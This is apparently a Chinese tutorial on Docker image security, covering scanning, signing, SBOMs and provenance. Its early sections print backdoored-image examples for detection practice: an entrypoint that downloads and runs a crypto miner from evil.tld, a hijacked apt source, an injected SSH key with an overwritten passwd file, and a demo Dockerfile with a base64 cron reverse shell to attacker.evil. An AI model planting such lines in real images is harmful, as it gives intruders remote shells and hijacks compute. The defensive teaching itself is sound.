一、Docker 镜像到底是什么?先搞清楚 OCI 规范
很多人每天用 docker pull ubuntu,但很少有人真正理解一个镜像在磁盘上长什么样。Docker 镜像遵循 OCI Image Format Specification(开放容器标准),由以下几部分组成:
<image-name>:<tag>
├── manifest.json # 层列表 + 配置文件引用 (schema 2)
├── config.json # 容器运行时配置 (ENV/Cmd/Workdir/User)
└── layers/
├── <digest>.tar.gz # 每一层的文件系统增量
├── <digest>.tar.gz
└── ...
1.1 手动解析一个镜像
# 拉取镜像到本地
docker pull alpine:3.19
# 导出为 tar 并分析
docker save alpine:3.19 -o alpine.tar
mkdir alpine-img && cd alpine-img && tar xf ../alpine.tar
# 查看 manifest
cat manifest.json | python3 -m json.tool
# 典型输出
# [
# {
# "Config": "e26a3c...json",
# "RepoTags": ["alpine:3.19"],
# "Layers": ["45c...tar.gz", "934...tar.gz"]
# }
# ]
# 查看 config.json(这里记录了容器启动的一切行为)
cat e26a3ccbbc02dc3722b79ffd9aa3ab82affb518a7f93b866add4c38d95738344e.json | python3 -m json.tool
1.2 每一层 Layer 里有什么?
# 解压第一层查看
mkdir layer0 && cd layer0 && tar xf ../45c0ee05a4004564b...tar.gz
# Layer 内就是一个完整的 rootfs 子集
ls -la layer0/
# bin/ dev/ etc/ home/ lib/ media/ mnt/ opt/ proc/ root/ run/ sbin/ srv/ sys/ tmp/ usr/ var/
# 查看层与层之间的差异
# Dockerfile 每一条指令(除 FROM/MAINTAINER)都产生一个新层
1.3 镜像 digest 是怎么计算的?
Docker 镜像的唯一标识是 digest(不是 tag,tag 可以被覆盖):
# 查看镜像的 digest
docker inspect alpine:3.19 | grep -i digest
# "RepoDigests": ["alpine@sha256:c5b1261d6d3e43071626931fc004f7014baeba059ae7a4157822f614cb7490d9"]
# digest 就是对 manifest.json 内容做 sha256
# sha256("整个 manifest.json 文件内容") = sha256:c5b1261...
# 这保证了如果任何一层被篡改,digest 一定变化
二、恶意长什么样?真实案例分析
在深入防御之前,先看几个真实的恶意镜像样本。
2.1 案例 1:Crypto 挖矿后门(2023 年流行样本)
攻击者篡改了流行的 node:16-alpine 镜像,在 entrypoint 里植入挖矿程序:
# 看起来正常的 Dockerfile
FROM node:16-alpine
WORKDIR /app
COPY package.json ./
RUN npm install
COPY . .
# 后门在原始 entrypoint 后面追加了 curl 下载 + 后台执行
ENTRYPOINT ["sh", "-c", "curl -s http://evil.tld/xmrig -o /tmp/.xmrig && chmod +x /tmp/.xmrig && /tmp/.xmrig -o pool.evil.tld:3333 -u attacker --daemon & exec dumb-init node server.js"]
2.2 案例 2:apt backdoor(包管理器劫持)
攻击者替换了 apt 源:
# 查看层里的 apt 源
cat /etc/apt/sources.list
# deb http://mirrors.aliyun.com/ubuntu/ jammy main ← 正常
# deb http://attacker.evil/ubuntu/ jammy main ← 恶意替换
# 如果没注意,后续 apt install 下载的所有包都是攻击者编译的
2.3 案例 3:隐藏的 SSH 后门层
# 看起来干净的 Dockerfile
FROM ubuntu:22.04
RUN apt-get update && apt-get install -y nginx
# 攻击者在最后追加了隐藏层(通过 docker commit 构建,不在 Dockerfile 中显示)
# 攻击者的实际操作
docker run -it ubuntu:22.04
# 容器内: 安装 nginx + 写入 ssh key + 添加 root 后门
echo "ssh-rsa AAAA... attacker@evil" >> /root/.ssh/authorized_keys
echo "root:x:0:0:root:/root:/bin/sh" > /etc/passwd
exit
docker commit <container-id> ubuntu:22.04-trojan
docker push <private-registry>/ubuntu:22.04-trojan
这就是为什么只用 Dockerfile 做安全审计是不够的——攻击者可以 post-hoc 篡改层。
三、实战:构建一个带"良性后门"的演示镜像
我们来构建一个包含多种隐蔽后门的演示镜像,然后用后文的工具链逐一检测。
# Dockerfile.malicious-demo
FROM alpine:3.19
# 后门 1: 覆盖 entrypoint,植入 cron 反弹 shell
COPY --from=alpine:latest /bin/sh /bin/sh.real
# 后门 2: 隐藏的 crontab 反弹 shell(base64 编码)
RUN echo '*/5 * * * * * /bin/sh -c "echo c2ggLWkgPiYgL2Rldi90Y3AvYXR0YWNrZXIuZXZpbC80NDQ0IDA+JjEK | base64 -d | sh"' > /var/spool/cron/crontabs/root
# 后门 3: 替换 /tmp 下的 ls 为恶意版本
COPY bad-ls.sh /tmp/ls
RUN chmod +x /tmp/ls && mv /bin/ls /bin/ls.real && cp /tmp/ls /bin/ls
# 后门 4: 植入可疑环境变量(后续应用可能用)
ENV DATABASE_URL="postgres://attacker:hacked@evil.tld:5432/steal"
ENV API_KEY="sk-xxxxxx-attacker-key"
# 后门 5: 安装可疑二进制
COPY cryptominer /usr/local/bin/.hidden_xmrig
RUN chmod +x /usr/local/bin/.hidden_xmrig
ENTRYPOINT ["/bin/sh.real"]
四、Trivy:最强大的开源镜像扫描器
4.1 安装
curl -sfL https://raw.githubusercontent.com/aquasecurity/trivy/main/contrib/install.sh | sh -s -- -b /usr/local/bin v0.50.0
trivy --version
# Version: 0.50.0
4.2 基础扫描
# 扫描镜像漏洞
trivy image alpine:3.19
# 输出包含: 漏洞编号 / 严重程度 / 修复版本 / 软件包
# ✅ 在 alpine 3.19.0 (alpine 3.19.0)
# ┌─────────────┬────────────┬──────────┬──────────┬───────────────┐
# │ Library │ Vuln ID │ Severity │ Status │ Fixed Version │
# ├─────────────┼────────────┼──────────┼──────────┼───────────────┤
# │ busybox │ CVE-2023-42363 │ HIGH │ fixed │ 1.36.1-r1 │
# │ musl │ CVE-2024-23915 │ CRITICAL │ fixed │ 1.2.5-r2 │
# └─────────────┴────────────┴──────────┴──────────┴───────────────┘
4.3 进阶扫描:检查隐藏后门
# 扫描镜像中的 secret 泄露(硬编码的 API key、密码)
trivy image --scanners secret <malicious-image>
# 扫描镜像中的配置问题
trivy image --scanners config <malicious-image>
# 完整扫描(漏洞 + secret + 配置 + license)
trivy image --scanners vuln,secret,config,license <malicious-image>
# 扫描层的详细信息(查看每一层改了什么)
trivy image --layered <malicious-image>
# 导出为 JSON 方便后续处理
trivy image --format json -o result.json alpine:3.19
4.4 实战:用 Trivy 扫描我们的恶意演示镜像
trivy image --scanners secret,config,vuln malicious-demo:latest 2>&1 | tee scan-result.txt
# 应该能检测到:
# [Secret] env: DATABASE_URL (generic)
# [Secret] env: API_KEY (generic)
# [Misconf] Ensure that HEALTHCHECK instructions have been added
# [CVE] ...
4.5 Trivy 扫描结果自动解析脚本
#!/usr/bin/env python3
"""
Trivy 扫描结果解析器 - 判断镜像是否可以部署
"""
import json
import subprocess
import sys
def scan_image(image_name, severity_threshold="HIGH"):
"""扫描镜像,只返回 HIGH 和 CRITICAL 漏洞"""
cmd = [
"trivy", "image",
"--scanners", "vuln,secret,config",
"--severity", "HIGH,CRITICAL",
"--format", "json",
image_name
]
result = subprocess.run(cmd, capture_output=True, text=True)
if result.returncode != 0:
print(f"[!] trivy 执行失败: {result.stderr}")
sys.exit(1)
data = json.loads(result.stdout)
# 统计漏洞
total_vulns = 0
critical = 0
high = 0
secrets_found = 0
misconfigs = 0
for result_item in data.get("Results", []):
# 漏洞
for vuln in result_item.get("Vulnerabilities", []):
total_vulns += 1
if vuln["Severity"] == "CRITICAL": critical += 1
if vuln["Severity"] == "HIGH": high += 1
# Secret
for secret in result_item.get("Secrets", []):
secrets_found += 1
print(f" [SECRET] {secret.get('RuleID')} -> {secret.get('Match')[:30]}...")
# 配置问题
for mc in result_item.get("Misconfigurations", []):
misconfigs += 1
if mc.get("Severity") in ("HIGH", "CRITICAL"):
print(f" [MISCONF] {mc.get('Title')}: {mc.get('Description')[:80]}")
print(f"
=== {image_name} 扫描摘要 ===")
print(f" 总漏洞数: {total_vulns}")
print(f" CRITICAL: {critical}")
print(f" HIGH: {high}")
print(f" Secret 泄露: {secrets_found}")
print(f" 配置问题: {misconfigs}")
# 决策
if critical > 0 or secrets_found > 0:
print(f"
[🔴] 拒绝部署:存在 {critical} 个严重漏洞或 {secrets_found} 个密钥泄露")
return False
elif high > 5:
print(f"
[🟡] 需要审核:存在 {high} 个高危漏洞")
return False
else:
print(f"
[🟢] 可以部署")
return True
if __name__ == "__main__":
image = sys.argv[1] if len(sys.argv) > 1 else "alpine:3.19"
ok = scan_image(image)
sys.exit(0 if ok else 1)
五、Cosign:镜像签名与供应链安全
Trivy 解决的是"镜像里有什么",Cosign 解决的是"镜像是谁构建的"。
5.1 工作原理
Developer 构建镜像 → 用本地私钥对镜像签名 → 推送镜像 + 签名到 Registry
↓
CI/CD 部署前 → 用公钥验证签名 → 确认签名来自可信开发者 → 才允许部署
5.2 快速上手
# 安装 Cosign
curl -sfL https://github.com/sigstore/cosign/releases/download/v2.2.3/cosign-linux-amd64 -o /usr/local/bin/cosign && chmod +x /usr/local/bin/cosign
# 生成密钥对
cosign generate-key-pair
# Enter password for private key:
# Enter password again:
# Public key written to cosign.pub
# Private key written to cosign.key
# 签名镜像(推送到 Registry 后)
export COSIGN_PASSWORD="your-password"
cosign sign --key cosign.key my-registry.io/my-app:v1.0.0
# Generating Signature
# Image: my-registry.io/my-app:v1.0.0
# Signing image [ok]
# 验证签名
cosign verify --key cosign.pub my-registry.io/my-app:v1.0.0
# The following signatures were found:
# Signature for sha256:...
# Are these signatures accepted? [y/N] y
# 强制验证(CI 中必须用 --yes)
cosign verify --key cosign.pub --yes my-registry.io/my-app:v1.0.0
5.3 无密钥模式(Keyless)
使用 Fulcio + OIDC 代替静态密钥,更安全:
# 登录 OIDC(Google/GitHub)
cosign sign --yes ghcr.io/my-org/my-app:v1.0.0
# 会打开浏览器让你用 GitHub 登录
# 签名会自动关联你的 GitHub 身份
# 验证
cosign verify --certificate-identity https://github.com/my-org/my-app/.github/workflows/build.yml@refs/heads/main --certificate-oidc-issuer https://token.actions.githubusercontent.com ghcr.io/my-org/my-app:v1.0.0
5.4 Kubernetes Admission Controller 强制签名验证
# image-policy.yaml - 部署到集群的 Kyverno 策略
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: verify-image-signatures
spec:
validationFailureAction: enforce
background: true
rules:
- name: verify-cosign
match:
any:
- resources:
kinds: ["Pod"]
verifyImages:
- imageReferences:
- "my-registry.io/*"
- "ghcr.io/my-org/*"
attestors:
- entries:
- keys:
publicKeys: |
-----BEGIN PUBLIC KEY-----
MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgA...
-----END PUBLIC KEY-----
六、Syft + Grype:生成与校验 SBOM
SBOM(Software Bill of Materials) 是镜像的"成分表",列出镜像中所有第三方组件及其版本。这在发生开源组件漏洞时(如 Log4j2、xZ Utils)至关重要。
6.1 Syft 生成 SBOM
# 安装 Syft
curl -sL https://github.com/anchore/syft/releases/download/v0.100.0/syft_0.100.0_linux_amd64.tar.gz | tar xz -C /usr/local/bin
# 生成 SBOM(SPDX 格式,国际标准)
syft alpine:3.19 -o spdx-json=alpine-sbom.json
# 也可以扫描目录
syft /path/to/project -o spdx=project-sbom.spdx
# 查看 SBOM 内容
cat alpine-sbom.json | python3 -m json.tool | head -40
# {
# "spdxVersion": "SPDX-2.3",
# "dataLicense": "CC0-1.0",
# "name": "alpine:3.19",
# "packages": [
# {"name": "musl", "versionInfo": "1.2.4-r7", "licenseConcluded": "MIT"},
# {"name": "busybox", "versionInfo": "1.36.1-r2", "licenseConcluded": "GPL-2.0"},
# ...
# ]
# }
6.2 Grype 用 SBOM 查漏洞
# 安装 Grype
curl -sL https://github.com/anchore/grype/releases/download/v0.79.0/grype_0.79.0_linux_amd64.tar.gz | tar xz -C /usr/local/bin
# 用已生成的 SBOM 查漏洞
grype sbom:alpine-sbom.json
# 直接对镜像做 SBOM + 漏洞
grype alpine:3.19
6.3 SBOM 自动化集成到 CI
# .github/workflows/security-scan.yml
name: Security Scan
on:
push:
branches: [main]
pull_request:
branches: [main]
jobs:
scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Build Image
run: docker build -t app:${{ github.sha }} .
- name: Generate SBOM
uses: anchore/sbom-action@v0
with:
image: app:${{ github.sha }}
format: spdx-json
output-file: sbom.spdx.json
- name: Upload SBOM to GitHub
uses: anchore/sbom-action/upload@v0
with:
sbom-artifact: sbom.spdx.json
tags: app:${{ github.sha }}
- name: Scan for Vulnerabilities
uses: anchore/grype-action@v2
with:
image: app:${{ github.sha }}
fail-on-severity: high
- name: Scan for Secrets
run: |
curl -sSfL https://raw.githubusercontent.com/aquasecurity/trivy/main/contrib/install.sh | sh
trivy fs --scanners secret .
- name: Sign Image
run: |
echo "${{ secrets.COSIGN_PRIVATE_KEY }}" | base64 -d > cosign.key
cosign sign --key cosign.key --yes -a sha=$(git rev-parse HEAD) ghcr.io/${{ github.repository }}:${{ github.sha }}
七、镜像溯源:从运行中的容器追溯到 Git Commit
7.1 目标
当生产环境发现一个有漏洞的容器,我们需要快速回答:
- 这个镜像是哪个 Git Commit 构建的?
- 用的哪个 Dockerfile?
- 谁批准的?
7.2 用 OCI Annotations 埋点
# 构建时注入 Git 信息
FROM node:18-alpine AS builder
WORKDIR /app
COPY package*.json ./
RUN npm ci
COPY . .
RUN npm run build
FROM node:18-alpine
WORKDIR /app
COPY --from=builder /app/dist ./dist
COPY --from=builder /app/node_modules ./node_modules
# 使用 label-schema 标准注解
LABEL org.opencontainers.image.title="my-app" org.opencontainers.image.description="示例应用" org.opencontainers.image.version="1.0.0" org.opencontainers.image.revision="abc123def456" org.opencontainers.image.source="https://github.com/my-org/my-app" org.opencontainers.image.created="2026-08-06T00:00:00Z" org.opencontainers.image.maintainer="security@my-org.com"
EXPOSE 3000
CMD ["node", "dist/server.js"]
7.3 运行时查询
# 检查运行中容器的溯源信息
docker inspect <container-id> | jq '.[0].Config.Labels'
# 在 Kubernetes 中
kubectl get pod <pod-name> -o jsonpath='{.spec.containers[*].image}'
# 然后用 digest 查询 registry
skopeo inspect docker://my-registry.io/my-app@sha256:... | jq '.Labels'
7.4 完整溯源脚本
#!/usr/bin/env python3
"""
从运行中的 Kubernetes Pod 追溯到 Git Commit
"""
import subprocess
import json
import sys
def get_pod_image_digest(pod_name, namespace="default"):
"""获取 Pod 实际使用的镜像 digest"""
result = subprocess.run(
["kubectl", "get", "pod", pod_name, "-n", namespace, "-o", "json"],
capture_output=True, text=True, check=True
)
pod = json.loads(result.stdout)
# 每个容器有 resolved 的 imageID (sha256:...)
return pod["status"]["containerStatuses"][0]["imageID"]
def inspect_image_labels(image_ref):
"""检查镜像的 OCI labels"""
result = subprocess.run(
["skopeo", "inspect", image_ref],
capture_output=True, text=True
)
if result.returncode != 0:
print(f"[!] skopeo 失败: {result.stderr}")
return {}
data = json.loads(result.stdout)
return data.get("Labels", {})
def trace_to_git(pod_name, namespace="default"):
image_digest = get_pod_image_digest(pod_name, namespace)
print(f"[*] Pod {pod_name} 实际镜像: {image_digest}")
labels = inspect_image_labels(image_digest)
if not labels:
print("[-] 没有 OCI labels,无法溯源")
return
print("
=== 镜像溯源信息 ===")
for key, value in sorted(labels.items()):
print(f" {key}: {value}")
revision = labels.get("org.opencontainers.image.revision")
source = labels.get("org.opencontainers.image.source")
if revision and source:
print(f"
[+] 对应 Git Commit: {source}/commit/{revision}")
if __name__ == "__main__":
trace_to_git(sys.argv[1], sys.argv[2] if len(sys.argv) > 2 else "default")
八、Registry 安全加固
8.1 Harbor 私有化 Registry 配置
# harbor-values.yaml
externalURL: https://harbor.internal.corp
internalTLS:
enabled: true
exposure:
tls:
enabled: true
certSource: secret
secret:
secretName: harbor-tls
notary:
enabled: true
trivy:
enabled: true
insecure: true
resources:
requests:
cpu: 500m
memory: 512Mi
limits:
cpu: "2"
memory: 4Gi
chartmuseum:
enabled: false
clair:
enabled: false
8.2 Docker Hub / GHCR 安全设置清单
- 启用 Two-Factor Authentication (2FA)
- 配置 Bot Account + PAT(不要用个人账号推镜像)
- 所有镜像设为 Private(除非刻意公开)
- 启用 Repository Rules(仅允许 main 分支推送 + 强制签名)
- 定期审计 Push History
九、总结:镜像安全 Checklist
| 阶段 | 工具 | 做什么 |
|---|---|---|
| 构建时 | Dockerfile Linter (hadolint) | 发现 Dockerfile 反模式 |
| 构建时 | BuildKit | 构建缓存隔离 + secret 安全传递 |
| 构建后 | Syft | 生成 SBOM |
| 构建后 | Trivy / Grype | 扫描漏洞 + 硬编码 secret |
| 推送前 | Cosign | 签名镜像 |
| Registry | Harbor Trivy/Clair | 服务端二次扫描 |
| 部署时 | Kyverno + Cosign | Admission Controller 强制验签 |
| 运行时 | Falco / Tracee | 检测异常进程启动 |
| 持续 | Dependabot / Renovate | 自动更新基础镜像 |
镜像安全的核心思维:镜像是一个会被篡改的移动目标。从 Dockerfile 到运行中的容器,每一步都需要验证——签名、SBOM、漏洞扫描三者缺一不可。